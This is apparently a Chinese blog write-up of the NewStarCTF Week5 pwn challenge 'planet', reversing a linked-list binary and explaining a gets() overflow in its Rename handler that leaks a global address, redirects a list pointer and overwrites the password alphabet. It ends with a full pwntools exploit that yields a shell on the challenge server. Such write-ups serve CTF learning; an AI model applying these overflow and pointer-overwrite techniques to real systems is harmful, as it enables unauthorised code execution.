首页 > 其他分享 >[NewStarCTF WEEK5] pwn-planet 详解

[NewStarCTF WEEK5] pwn-planet 详解

时间:2023-11-05 19:45:30浏览次数:47  
标签:char 00 dest data planet offset pwn WEEK5 dq

这道题目更多是考pwner的逆向功底(虽然程序逻辑也不是非常复杂=_=)

老规矩,先checksec查看程序

保护全开

看一下main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v4; // eax
  char s1[88]; // [rsp+20h] [rbp-60h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  alarm(0x78u);
  printf("Passwd: ");
  fflush(stdout);
  gets(s1);
  if ( !strcmp(s1, "secret_passwd_anti_bad_guys") )
  {
    v4 = time(0LL);
    srand(v4);
    sub_13E7();
    sub_1929();
  }
  return 0LL;
}

这里执行了两个函数sub_13E7(); sub_1929();,跟进去看一下

unsigned int sub_13E7()
{
  puts("Welcome in a new dimension...");
  fflush(stdout);
  puts("\t...Boooom... the big bang sound...");
  fflush(stdout);
  sub_12F2();
  sleep(1u);
  puts("\t\ta new universe has begun, with new physics laws...");
  fflush(stdout);
  puts("\t...here stacks look safe!");
  fflush(stdout);
  return sleep(1u);
}

跟进函数sub_12F2();

char *sub_12F2()
{
  char *result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  char *v2; // [rsp+8h] [rbp-18h]
  char *dest; // [rsp+10h] [rbp-10h]
  char *src; // [rsp+18h] [rbp-8h]
  char *srca; // [rsp+18h] [rbp-8h]

  dest = (char *)malloc(0x28uLL);
  ::dest = dest;
  *((_QWORD *)dest + 4) = 0LL;
  src = (char *)sub_1245(5LL);
  strcpy(dest, src);
  *((_QWORD *)dest + 2) = &dword_40D0;
  free(src);
  for ( i = 0; i <= 9; ++i )
  {
    v2 = (char *)malloc(0x28uLL);
    srca = (char *)sub_1245(5LL);
    strcpy(v2, srca);
    free(srca);
    *((_QWORD *)v2 + 2) = &dword_40D0;
    *((_QWORD *)dest + 3) = v2;
    *((_QWORD *)v2 + 4) = dest;
    dest = v2;
  }
  result = v2;
  *((_QWORD *)v2 + 3) = 0LL;
  return result;
}

这里就比较有意思了,很明显全局变量::dest不是简单的字符串指针,根据下面的代码

	dest = (char *)malloc(0x28uLL);
  	::dest = dest;
	.........
    v2 = (char *)malloc(0x28uLL);
	.........
	*((_QWORD *)dest + 3) = v2;
    *((_QWORD *)v2 + 4) = dest;
    dest = v2;

是不是感觉有些眼熟,这个函数就是双向链表的建立。现在我们创建一个结构体,然后将结构体映射到变量上

00000000 Plane struc ; (sizeof=0x28, mappedto_8)
00000000 str db 16 dup(?)
00000010 level dq ?                              ; offset
00000018 next dq ?                               ; offset
00000020 prev dq ?                               ; offset
00000028 Plane ends
00000028

这是修改后的代码,可读性是不是高多了。流程就是创建一个长度为11的双向链表,::dest为头结点,链表的数据域里存一个char str[16]数组和int *p指针,str为从字母表中生成的长度为5的随机字符串,int指针指向一个全局变量。(注意:::destdword_40D0两个全局变量被我重命名为 head 和 global_level)

Plane *CreateLinklist()
{
  Plane *result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  Plane *p; // [rsp+8h] [rbp-18h]
  Plane *dest; // [rsp+10h] [rbp-10h]
  char *src; // [rsp+18h] [rbp-8h]
  char *srca; // [rsp+18h] [rbp-8h]

  dest = (Plane *)malloc(0x28uLL);
  head = dest;
  dest->prev = 0LL;
  src = RandomCode(5);
  strcpy(dest->str, src);
  dest->level = &global_level;
  free(src);
  for ( i = 0; i <= 9; ++i )
  {
    p = (Plane *)malloc(0x28uLL);
    srca = RandomCode(5);
    strcpy(p->str, srca);
    free(srca);
    p->level = &global_level;
    dest->next = p;
    p->prev = dest;
    dest = p;
  }
  result = p;
  p->next = 0LL;
  return result;
}

好,第一个函数sub_13E7();分析完了,现在分析第二个函数sub_1929();

void sub_1929()
{
  int i; // [rsp+8h] [rbp-68h]
  char s1[88]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  while ( 1 )
  {
    printf("What is your next move? (Help)\n>");
    fflush(stdout);
    gets(s1);
    for ( i = 0; i <= 9; ++i )
    {
      if ( !strcmp(s1, off_4100[i]) )
      {
        funcs_19CE[i]();
        i = 10;
      }
    }
  }
}

这里的逻辑很明显就是菜单选择,存在一个字符串指针数组off_4100和函数指针表funcs_19CE,将用户输入的字串与字符串数组比较,找到对应的位置则执行函数指针表中对应的操作。

这里是两个指针数组对应的数据(为了方便阅读,这里我对一些函数和变量进行了重命名)

0000000000004100 08 20 00 00 00 00 00 00       cmd_list dq offset aHelp                ; DATA XREF: Choice+6A↑o
.data:0000000000004100                                                                       ; "Help"
.data:0000000000004108 0D 20 00 00 00 00 00 00       dq offset aExit_0                       ; "Exit"
.data:0000000000004110 12 20 00 00 00 00 00 00       dq offset aJump                         ; "Jump"
.data:0000000000004118 17 20 00 00 00 00 00 00       dq offset aGetname                      ; "GetName"
.data:0000000000004120 1F 20 00 00 00 00 00 00       dq offset aRename                       ; "Rename"
.data:0000000000004128 26 20 00 00 00 00 00 00       dq offset aCheck                        ; "Check"
.data:0000000000004130 2C 20 00 00 00 00 00 00       dq offset aGoback                       ; "GoBack"
.data:0000000000004138 33 20 00 00 00 00 00 00       dq offset aSearch                       ; "Search"
.data:0000000000004140 3A 20 00 00 00 00 00 00       dq offset aNap                          ; "Nap"
.data:0000000000004148 3E 20 00 00 00 00 00 00       dq offset aAdmin                        ; "Admin"
.data:0000000000004150 00 00 00 00 00 00 00 00 00 00+align 20h
.data:0000000000004160 78 14 00 00 00 00 00 00 9E 14+func_list dq offset sub_1478            ; DATA XREF: Choice+95↑o
.data:0000000000004160 00 00 00 00 00 00 AC 14 00 00+                                        ; Choice+9C↑r
.data:0000000000004160 00 00 00 00 54 15 00 00 00 00+dq offset sub_149E
.data:0000000000004160 00 00 89 15 00 00 00 00 00 00+dq offset Next
.data:0000000000004160 86 16 00 00 00 00 00 00 0F 16+dq offset GetName
.data:0000000000004160 00 00 00 00 00 00 FF 16 00 00+dq offset SetName
.data:0000000000004160 00 00 00 00 4A 17 00 00 00 00+dq offset Back
.data:0000000000004160 00 00 D3 17 00 00 00 00 00 00 dq offset Check
.data:0000000000004160                               dq offset sub_16FF
.data:0000000000004160                               dq offset nap
.data:0000000000004160                               dq offset Admin
.data:00000000000041B0                               ; __int64 (*off_41B0)(void)
.data:00000000000041B0 86 18 00 00 00 00 00 00       off_41B0 dq offset getshell             ; DATA XREF: Admin:loc_185D↑r

这里关键的函数有四个Next GetName SetName Admin

先分析Admin函数

__int64 Admin()
{
  const char *v0; // rsi
  char s1[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Insert the secret passwd\n> ");
  fflush(stdout);
  gets(s1);
  v0 = RandomCode(30);
  if ( !strcmp(s1, v0) )
  {
    off_41B0();
  }
  else
  {
    puts("Password is wrong");
    fflush(stdout);
  }
  return 0LL;
}

程序生成一个长度为30的随机字符串,若输入的密码与它一致即可获取shell。

这里有两种利用方案,一是修改srand函数的初始值为一个定值,然后根据这个种子生成的数字序列来获得程序生成的字符串。但是回看main函数,储存初始值的变量v4为寄存器变量,不在栈上面,无法被修改。而且初始值的赋值在gets函数之后,即使有条件修改也会被覆盖,故此方法行不通。

二是修改.data段的字母表的数据全为同一个值,这样无论怎么随机生成的也是长度为30的固定字符串。

00000000000040D0 01 00 00 00                   global_level dd 1
00000000000040D4 00 00 00 00 00 00 00 00 00 00+db 0Ch dup(0)
00000000000040E0 61 62 63 64 65 66 67 68 69 6A+aAbcdefghijklmn db 'abcdefghijklmnopqrstuvwxyz',0

接下来分析剩下的三个函数

__int64 Next()
{
  puts("I'm going to the next planet...");
  fflush(stdout);
  if ( (global_level & 1) != 0 )
  {
    ++global_level;
    if ( head->next )
    {
      head = head->next;
    }
    else
    {
      puts("I can't... the next planet is a black hole");
      fflush(stdout);
    }
    return 0LL;
  }
  else
  {
    puts("Sorry, I'm too tired, I need a nap!");
    fflush(stdout);
    return 0LL;
  }
}

__int64 GetName()
{
  printf("I'm on the planet called: %s\n", head->str);
  fflush(stdout);
  return 0LL;
}

__int64 SetName()
{
  size_t v0; // rax
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Enter the new name");
  fflush(stdout);
  gets(s);                                      // data overwrite
  v0 = strlen(s);
  strncpy(head->str, s, v0);
  return 0LL;
}

看完这三个函数应该有思路了吧。

SetName函数存在明显的数据覆盖漏洞,可以将链表的指针域覆写为目标地址,然后实现任意地址写。

攻击思路:将链表内的字符数组填满,利用GetName函数可以泄露全局变量global_level的地址,这就相当于泄露了字母表字符串的地址,然后通过SetName修改链表的Next指针为字母表地址,再执行Next函数,使要修改的地址为字母表地址,接着执行SetName函数将字母表覆盖为单一数据,最后执行Admin函数输入密码即可获取shell。

exp:

from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")
local = 0
if local:
    io = process("./pwn")
else:
    io = remote("node4.buuoj.cn", 28455)

def start():
    io.recvuntil(b"Passwd: ")
    io.sendline(b"secret_passwd_anti_bad_guys")

def rename(content):
    io.sendlineafter(b"next move? (Help)\n>", b"Rename")
    io.sendline(content)

def getname():
    io.sendlineafter(b"next move? (Help)\n>", b"GetName")

def getShell():
    io.sendlineafter(b"next move? (Help)\n>", b"Admin")
    io.sendlineafter(b"passwd\n> ",b'a'*30)
    
def Next():
    io.sendlineafter(b"next move? (Help)\n>", b"Jump")

def Back():
    io.sendlineafter(b"next move? (Help)\n>", b"Check")

start()
rename(b'a'*16)
getname()
io.recvuntil(b"planet called: ")
leakAddr = u64(io.recv(16+6)[16:].ljust(8,b'\x00'))
payload = b'a'*0x18+p64(leakAddr+0x10)
rename(payload)
Next()
rename(b"a"*26)
getname()
getShell()

io.interactive()

标签:char,00,dest,data,planet,offset,pwn,WEEK5,dq
From: https://www.cnblogs.com/S1nyer/p/17810975.html

相关文章

  • 鹏城杯2023初赛 pwn(未完)
    silent打开ida一看,没有输出函数,只有一个栈溢出。跟巅峰极客的linkmap有点像,都是没有输出函数而且fullrelro,没法打ret2dl_resolve但是linkmap那道题中是有能函数能将地址放到bss上的,所以它可以把read的地址放到bss上,然后通过修改bss上的read地址,加上栈迁移来执行别的内容。而这......
  • 【pwn】整数溢出
    这是ctfshow上面的一道题这边v1和v2定义时都是int,有符号整数,想让v1-v2=9,可以考虑负数,但是这个函数过滤了负号 if(strchr(s,45))  return0LL;可以考虑输入比较大的数有符号溢出成负数,输入4294967295的话,就会解析成-1,然后8-(-1)==9就可以看第2个函数:首先int可表示......
  • 鹏程杯子2023 pwn
    主要就是修改stdin的最后几位,使他变为write,然后泄露libc,为所欲为即可。本人是卡在不知道stdin那里可以修改。然后使用一下jmpqwordrbp这个gadget0x400a93那个。fromevilbladeimport*context(os='linux',arch='amd64')context(os='linux',arch='amd64',log_level='......
  • pwn环境部署
    PWN环境搭建前言:自己开始学pwn时使用的是kali,稀里糊涂的配了点东西就用用了,后面都是用ctfshow配置好的集成环境,招新赛时有同学问我如何部署pwn环境,出现的各种问题令人鸡肋,于是就诞生了这集各种博客的博客tips:1建议新手按1、2(3)、5、6、9、10、11走2如果师傅想装pyt......
  • CTF-pwn-堆入门-day1
    什么是堆 堆是可以根据运行时的需要进行动态分配和释放的内存,大小可变由程序员决定mallocnew\freedelete栈用于函数分配固定大小的局部内存由程序决定 但是为什么不都在栈上进行函数调用,反而要去对上进行调用 堆的实现重点关注内存块的组织和管理方式,尤其是空闲......
  • 在一个简单的pwn题目中探究执行系统调用前堆栈的对齐问题
    题目介绍:在输入AAAAAAAAAAAAAAAAAAAAAAAAA后,程序会打开一个shell,这是为什么?字符串中的A能否更换为@?1.程序接收输入AAAAAAAAAAAAAAAAAAAAAAAAA获得shell的原理:.text:0000000140001584publicvuln.text:0000000140001584vulnprocnear......
  • 2023 SHCTF-校外赛道 PWN WP
    WEEK1nc连接靶机直接梭hardnc同样是nc直接连,但是出题人利用linux命令的特性,将部分flag放在了特殊文件中利用ls-a查看所有文件,查看.gift,可以得到前半段然后再lsgift2以及cat相关的内容得不到任何数据。。。因此考虑到会不会是进入目录下找,再更换到gift2目录中,查看flag2,......
  • 3 ways light pollution harms the planet - and what we can do about it
    Lightpollutionnotonlyimpactstheenvironment,butourhealthtoo. ·Globallightpollutionhasincreasedby49%over25yearsto2017,newresearchshows,andtherealfiguremaybeevenhigher.·Itsimpactsarewide-ranging-withhumanhealth,thee......
  • 【pwn】[SWPUCTF 2021 新生赛]nc签到 --shell过滤字符
    附件下载打开:importosart='''  (( "####@@!!$$  ))    `#####@@!$$` ))  (( '####@!!$:  (( ,####@!!$: ))    .###@!!$:    `##@@!$:    `#@!!$ !@#  `#@!$:   @#$  #$  `#@!$:   !@!......
  • Dasctf&CBctf-pwn部分题目复现
    打了一下Dasctf&CBCTF的pwn题目,感觉有些思路,但是就是做不出来,赛后发WP才恍然大悟,还是太菜了喵(---------------------------------------------------------------------------------------------------------------------------------------------------------------------------......